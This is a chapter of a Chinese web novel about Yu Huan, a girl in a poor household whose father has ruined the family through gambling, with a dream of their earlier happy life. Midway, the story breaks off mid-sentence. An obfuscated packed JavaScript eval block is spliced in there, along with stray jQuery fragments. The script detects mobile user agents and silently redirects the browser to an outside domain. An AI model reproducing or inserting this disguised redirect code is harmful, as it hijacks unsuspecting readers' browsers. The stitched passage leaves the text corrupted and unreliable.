余家。
吕桃芳正病着,这几日总咳得厉害,余欢不肯让她做饭。
“娘,你先去歇着,我来便好。”
“娘没事,娘来。”
吕桃芳说着在灶洞边坐下,往里搭起柴火。
“娘,我……”
“欢儿,听话,娘真没事。”
火生起来了,微弱的火光摇曳在吕桃芳苍白脸孔上,映出眼中的愧疚与心疼。
“欢儿,娘真对不起你,早知让你过这样的日子,便不该……不该把你带到这世上!”
余欢鼻头一酸。
这话,她已在心中抱怨过许多遍,也曾怨恨过阿娘,可当娘亲口对她说起,那些怨恨便消失无踪了,只剩委屈。
终究,她还只是个孩子。
可生活在如此境况中,已注定她不可能拥有平常的童年——
穷苦人家的孩子总要早早当家,揠苗助长。
那小苗儿,缺乏农人细心的照料,便只得寄望于剑走偏锋,也乖巧懂事地卯足了劲儿快快成长,以求不被抛弃。
余欢擦干眼泪,将吕桃芳拉了起来,对她板起了小脸。
“阿娘,你必须听我的。若是你病倒了,我该怎么办?我们抓不起药的。”
吕桃芳脸色一白,被吓住了,便也不再坚持。
“好,好,娘听欢儿的。”
又无限歉疚地抚了抚余欢的脸:“娘可怜的欢儿……”
在眼泪再次落下前,吕桃芳被余欢半扶半推赶了出去。
烧菜做饭是余欢自小便熟练的,难不倒她。
然而,巧妇难为无米之炊。
余家已揭不开锅了。
灶房内,余欢自米缸中刮出最后小半碗米,无声叹了口气。
这一顿后,明日吃什么呢?
一文钱能买得了什么?
不仅是米,破陶罐内的油盐也见了底。
余欢在不大的灶房内翻找了一圈,饶是她再不死心,也实在没法凑齐能做一顿像样的饭的食材。
除了那半碗米,也只有两样可入口的东西。
一枚野鸭蛋,一把因天热蔫了的水芹。
灶洞内火已很旺了,锅底留着的水蒸起白烟,眼瞧着很快就要烧干。
余欢手脚麻利地淘了米,把锅中残水用竹丝制成的干净炊帚扫净,重新倒入大约四碗量的清水,再放入仅剩的糙米,最后盖上竹编的锅盖。
又去洗了野芹,切成小段放在灶上备用。
至于野鸭蛋,粥快出锅时打入便可。
余欢看着这枚鸭蛋,不由得出了神。
这蛋是她昨日进山时捡的。
若是没有这枚野鸭蛋,阿娘连故意在人前说“蛋羹”的机会都没有。
余欢想不通,想不通许多。
为何阿娘已经浑噩到生火烧干锅,还能记得在外人面前强撑脸面?
脸面真有那么重要么?
为何阿爹会在进了赌坊后便染上赌瘾?那样摆明了害人害己的东西,有什么戒不掉的?
为何阿娘明明整日以泪洗面,还不与爹和离?
是了,阿娘说过,不想她变成一个没有爹的孩子,叫其他人笑话。
可她并不怕,隔壁青树村的柳花儿早早便没了爹,不也活得好好的?
余欢甚至出格地想,或许娘不是怕她没爹,而是怕自己没了丈夫,遭人耻笑?
绕来绕去,一干问题没个解法,反倒叫余欢心堵得很。
索性不想,出了灶房。
趁着煮粥的空当,多编几双草鞋。
对土地里刨食的老百姓来说,编草鞋不是难事,因此这东西在村集与乡集里鲜少有人买。
若到了县上去,倒好出手些,可卖的人也多,价贱,只两三文钱。
眼下,两三文钱对这个家却也算得巨资了。
日头渐渐西斜,锅中咕嘟咕嘟沸开了水,灶房内飘出一阵清新的饭香。
余欢放下手里的活,净了手,进入灶房。
掀开锅盖,一阵蒸腾热气袭来,热得余欢侧了侧脸。
待浓白热雾散去,余欢定睛往锅中细瞧,里头的糙米已经煮得软烂,稀稀零零浮在上头。
把锅盖搁在一旁,下入水芹,那稀得可怜的米粥总算有了些颜色。
略煮一会儿,最后打入野鸭蛋搅开蛋花,再撒些微粗盐,便可盛碗出锅。
咕咚。
余欢忍不住咽了下口水。
并非她厨艺高超,能将这平淡无奇的吃食做得叫人口舌生津,而是饿极了。
饿,她饿呀。
许久未吃过一顿饱饭了,便是在米油还未见底时,不论是阿娘还是她做饭,也只舍得吃这么一点儿。
今日还有个鸭蛋添菜呢。
又咽了下口水,余欢先端了一碗粥给阿娘送去,而后转到另一个房间前,敲响了房门。
吕桃芳与余正青已分房两三年了。
因此,余欢没有自己的房间,阿娘与她睡在一起。
“爹,吃饭了。”
无人回应。
每次赌输了钱,余正青总喜欢把自己闷在房里。
余欢忍不住皱了眉。
她瞧不起她爹这样,她觉得余正青这样窝囊透了。
余欢提高了声音:“爹,吃饭了!”
仍未回应。
余欢想到了什么,推开房门。
狭窄逼仄的房间内,一个瘸了腿的矮凳,一张木板床,除此之外,再没有其他。
那张床成了安置一切家当的地方。
脏衣旧裳、破袜,乃至水壶,俱在其上。
不似供人坐卧之处,倒像堆填秽物的灰坑。
不,是乱葬岗。
余欢从未见过乱葬岗,可一瞬,她脑中立时浮现出这三个字。
眼前的方寸空间,埋葬了那曾经将她捧在手心里的好父亲,也埋葬了那曾经将娘放在心尖上的好丈夫。
可悲可笑,埋尸人却是余正青自己。
拥挤的杂物之中,余正青背对着余欢,侧蜷在床上。
“爹。”
“欢儿,爹不饿,你和你娘吃。”
若此刻是余正青刚染上赌性情大变时,余欢定会不真心地再劝他两句,抑或强作关心,扮演一个孝顺懂事的女儿。
那时,娘便是这么教她的。
可如今,余欢已不是任人泼墨的素纸一张。
余欢只是道:“好。”
语气平静到称得上冷漠。
转身离开。
门即将关落前,余正青出声将她叫住。
声音如蚊,仿佛他自己也未下定决心。
“欢儿,爹对不起你,对不起你娘。爹错了,爹真的错了……”
余欢从那低低的声音中听出了哽咽。
她垂下眼,拉上了房门。
悔恨流涕,幡然醒悟,不意味着能迷途知返。
毕竟,此前余正青也不是没悔过。
余正青听得房外的脚步声渐渐消失,缓缓撑身,从床上坐了起来。
透过窗子缝儿,他看到余欢进了厨房。
片刻后,余欢端着缺了一角的碗出来,坐在厨房门槛上喝粥。
瘦瘦小小,仿佛来一阵风就能把她吹走似的。
余欢的眉眼随他,生得极好,鼻子则像她娘,不是很高,但刚刚好。脸型也像芳娘,鹅蛋脸。
从前芳娘总爱同他开玩笑,说幸好余欢的脸型像她,否则就该是一张过长的驴脸了。
这是他的孩子呀,他与芳娘的孩子。
余欢身上那些与他二人相似之处,是一家人血脉相连的证明。
只唯独那嘴巴,天生微微下垂,谁也不像。
也幸好,唇并不薄,饱满恰好中和了苦相,反倒显出一种冷冷的倔犟。
余欢吃得很慢。
定是碗中粥饭太少,她不肯那么快喝完。
余正青和吕桃芳本就不十分白,余欢自然也白不到哪里去。
如今因长期吃不饱饭,整日又在烈阳底下曝晒,更显得黑瘦可怜。
余正青看着,不禁酸了鼻头。
比咸泪先落下的是几滴血。
殷红血珠自余正青额角渗出,经侧脸汇成一条线。
一滴一滴,缓缓落在被面之上。
疼痛在余正青身上醒来。
床边歪斜着的瘸腿凳上,一道血痕蜿蜒其上。
余正青眼前忽然模糊了,泪成雨幕。
老天,老天!为何要放任我走到这般境地?为何我会把自己,把芳娘,把欢儿毁成这样?
七月的夜,暮色里乌云层聚,开始酝酿起一场雨。
不管日子再如何难,吃喝拉撒睡,这五样总得照常。
余家东侧的房间,逼仄的一张床上,余欢与吕桃芳俱在睡梦之中。
余欢睡在里侧,习惯侧蜷着,贴靠微凉的墙。
常言道:日有所思,夜有所梦。
白日里没办法实现的愿望,或是无法重历的回忆,总会于梦中鲜活起来。
梦境是上天赐给人的一方喘息之地。
无边的、恍惚的幻象逐渐聚合,逐渐清晰。
在切实捕捉到画面之前,余欢先听到了声音——
“欢儿,猜爹今日买了什么?”
啊,是爹的声音,爹回来了!
一间在乡间显得颇为气派的青砖瓦房中,五岁的余欢蹬着小步子从屋内跑了出来。
吕桃芳在身后急急叮咛:“跑慢点儿,欢儿!”
余欢哪肯听话,正是调皮的年纪,又被余正青宠过了头,三两下便蹿到余正青身前,伸手讨抱。
“爹,抱!举萝卜!”
“好好好,举萝卜。”
余正青单手将余欢抱了起来,抱在怀中颠了几下,将她举高。
“举萝卜,举萝卜,举了萝卜快长高——”
余欢占据着远超她爹一头的视野,忍不住憧憬:“我以后肯定比阿爹还要高!”
“噗嗤。”吕桃芳被这童言稚语逗笑,“要是比你爹还高,那还了得?好了,你爹忙了一天,快下来,别累着你阿爹。”
“没事儿,不累。”
说话间,一家三口已进了堂屋。
余正青抱着余欢坐下,将肩上包袱解了下来,摆在桌上。
“欢儿,猜猜里头是什么。要是猜对了,阿爹便给你,要是猜不对嘛……唔!”
余欢忙用小小的手掌捂住余正青的话:“我知道!阿爹肯定想说,要是欢儿猜错,也是欢儿的。”
一旁的吕桃芳哭笑不得:“你这小滑头。”
余正青把那小手掌掰开,也失笑:“哪有你这般赖皮的?三次机会,要是猜不对,我可不给。”
“那我能摸着猜吗?”
“可以。”
余欢绷起一张小脸,郑重其事地把手放在了包袱之上,仔细摸索感受。
硬邦邦的,四四方方,是个木盒子。
顿时扁起嘴来:“怪不得阿爹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533971|186461||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
答应的那么快,这怎么猜得出来?爹,你耍赖!”
只见余正青笑得更开心了,像只狐狸。
看着父女俩你来我往的吕桃芳面上也漾出浅浅笑意。
欢儿这鬼灵精,分明是有样学样,随了他爹。
“规矩定好可就不能更改。说好三次机会,猜是不猜?”
“哼,小气。”
余欢自然不是真的生气,思索片刻,自信满满问:“是发绳和头花?”
用这么大的盒子装呢!一定比她所有的头花都要精致漂亮。
余正青摇头:“不对。”
“是比头花贵,还是比头花便宜?”
“我要是告诉你,岂不是太容易?”
余正青佯装教训,捏了捏余欢的脸颊。
到底没忍住给她放水:“贵。”
“哇,阿爹发财了!”
知道盒子里的东西比漂亮头花还要好,余欢的兴致更高,在脑海中搜寻着她曾同余正青讨要过的东西。
“书,是书对不对?”
“还算聪明,对了一半,再想想。”
余欢又细细摸了一遍,盒子的尺寸不小,除了书,还装得下不少东西。
一双如黑葡萄般的眼珠转了转,余欢以掩耳不及迅雷之势将包袱抬了抬。
嘿,挺重!
“哎,咱们可没说可以掂量……”
余正青话未说完,余欢已冲到跟前,踮脚仰脸在他脸上亲了一下。
得了礼物的余欢眼睛亮得惊人,欢喜道:“我已经猜到了!是书,还有笔墨纸砚对不对?爹真好!”
说完,急忙忙抱了包袱,蹬着一双小短腿往自己房间去了。
余正青笑着摇头:“这孩子。”
吕桃芳却有些吃味:“女儿家家的,给她买这些做什么?你再这般宠欢儿,她心里怕只有阿爹,没有阿娘了。”
“瞧你,还吃起我的醋来了。前些天问阿爹好还是阿娘好,欢儿想都不想就说阿娘好,我都还没同你计较呢。”
余正青面露受伤之色:“唉,倒是我里外不是人了。”
吕桃芳被逗笑,嗔怒着推了他一下。
“正经些,欢儿都叫你教坏了。”
“那哪儿是坏?分明是聪明!”
余正青正了颜色:“芳娘,说真的,给欢儿买笔墨纸砚,倒也不是耐不住她讨要,咱们欢儿聪慧,若能让她读些书,明事理,对她往后有好处。”
吕桃芳赞同点头。
“是这个理儿。”
犹豫片刻,又补充:“不过还是不要太多,你也知道,欢儿的性子是拘不住的,本就想学你做生意,若是叫她读了太多书,往后总想往外闯,反倒不好。”
“有什么不好?”
“女儿终究不比男子,你舍得叫欢儿吃做生意的苦?”
“做生意是不容易,可这两年我跑动不少地方,见了不少人,便发觉了一个道理——”
余正青握住吕桃芳的手,道:“那便是没有人能不吃苦,人生有舍才有得,只看自己愿意吃哪种苦罢了,若是自己喜欢,吃苦也如饴糖在口。”
“便是喜欢,也不能全由着性子来呀。就拿生意来说,有多少女子敢独独去闯的?叫人说闲话……”
“是不多,我见过几人,却也不比男子差,若欢儿日后那般意气风发,我定会为她自豪。”
眼见吕桃芳越发不赞同,余正青自怀中掏出一样事物,放在吕桃芳手心。
一根精致的簪子。
吕桃芳愣了下,嘴角忍不住翘了起来,却还道:“买这个做什么,我又不是没簪子戴,下次不许买了。”
余正青:“下次还买。”
吕桃芳被这话一噎,竟无言以对。
不能输了气势,握拳往余正青胸前捶去。
那本就不欲真心落下的拳头却叫余正青截住了,以他手温柔握住。
又取了她另一只手里的簪子,就着这个姿势,为她簪在发上。
日光自屋外倾泻而入,两人的影子落在地上,如一幅画。
隐约之间,还能听到隔壁房间里传出的磕磕绊绊的稚童读书声。
“天,这个字是天!土……咦,土什么呢?”
“呼!呼——”
那声音很快被呼啸风声掩盖。
无情夜风吹散了余欢的梦。
她睁开眼,只怔了片刻,便被迫从记忆中抽离,回到现实。
也好,断在最幸福的地方。
若再往下,梦境中便会如此展现:阿爹生意急转几下,在有心人设计下欠下巨债,债主上门,抢砸东西。
再往后,阿爹为短时集齐银钱,进了赌坊。
当时,阿爹凭着好手气,的确解了燃眉之急,殊不知踏入了更阴暗的深渊,加入他没了东山再起的心气,从此一蹶不振。
自此,娘也整日浑浑噩噩,身子日渐亏虚。
余欢记得,她那时贪玩得很,那盒子里的礼物只新鲜了几日,便在角落落了灰。
因此阿爹送她的《千字文》,她只认得不足百个,便同笔墨纸砚一起,被上门寻债的人毁了去。
窗外的夜幕中忽然撕出一道闪电,亮如白昼。
“轰隆,轰隆——”
惊雷响彻夜空,默了片刻,只听得外头沙沙哗哗,大雨倾盆。
这不平静的夜中,一道身影披着蓑衣,冒着大雨急急来到余家篱门外。
“老二!余正青——”
“芳娘,芳娘,老二在吗?”